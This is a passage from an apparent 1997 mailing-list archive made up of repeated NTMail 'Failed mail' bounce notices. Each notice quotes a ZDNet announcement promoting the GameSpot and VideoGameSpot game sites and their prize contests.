>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:09:13 -0800 (PST)
Subject: Failed mail
Message-ID: <qa219872.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id qa219872; Tue, 25 Feb 1997 17:10:09 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:09 -0500
>Message-Id: <22100948545881@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:26 -0800 (PST)
Subject: Failed mail
Message-ID: <na219869.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id na219869; Tue, 25 Feb 1997 17:10:05 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:05 -0500
>Message-Id: <22100527945878@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:30 -0800 (PST)
Subject: Failed mail
Message-ID: <oa219870.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id oa219870; Tue, 25 Feb 1997 17:10:06 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:06 -0500
>Message-Id: <22100656145879@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:12:35 -0800 (PST)
Subject: Failed mail
Message-ID: <pa219871.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id pa219871; Tue, 25 Feb 1997 17:10:08 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:08 -0500
>Message-Id: <22100820345880@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:23 -0800 (PST)
Subject: Failed mail
Message-ID: <wa219878.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id wa219878; Tue, 25 Feb 1997 17:10:17 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:17 -0500
>Message-Id: <22101743645887@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:26 -0800 (PST)
Subject: Failed mail
Message-ID: <va219877.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id va219877; Tue, 25 Feb 1997 17:10:16 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:16 -0500
>Message-Id: <22101619545886@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:29 -0800 (PST)
Subject: Failed mail
Message-ID: <ua219876.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ua219876; Tue, 25 Feb 1997 17:10:14 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:14 -0500
>Message-Id: <22101493345885@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:35 -0800 (PST)
Subject: Failed mail
Message-ID: <ta219875.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ta219875; Tue, 25 Feb 1997 17:10:13 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:13 -0500
>Message-Id: <22101345145884@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:35 -0800 (PST)
Subject: Failed mail
Message-ID: <ya219880.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ya219880; Tue, 25 Feb 1997 17:10:20 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:20 -0500
>Message-Id: <22102016045891@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:10:53 -0800 (PST)
Subject: Failed mail
Message-ID: <za219881.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id za219881; Tue, 25 Feb 1997 17:10:21 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:21 -0500
>Message-Id: <22102145245892@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:05:56 -0800 (PST)
Subject: Failed mail
Message-ID: <xa219879.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id xa219879; Tue, 25 Feb 1997 17:10:18 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:18 -0500
>Message-Id: <22101881845890@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:05:53 -0800 (PST)
Subject: Failed mail
Message-ID: <sa219874.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id sa219874; Tue, 25 Feb 1997 17:10:12 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:12 -0500
>Message-Id: <22101209945883@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:09:15 -0800 (PST)
Subject: Failed mail
Message-ID: <aa219882.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id aa219882; Tue, 25 Feb 1997 17:10:22 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:22 -0500
>Message-Id: <22102283445895@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:36 -0800 (PST)
Subject: Failed mail
Message-ID: <ba219883.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ba219883; Tue, 25 Feb 1997 17:10:24 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:24 -0500
>Message-Id: <22102463745896@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
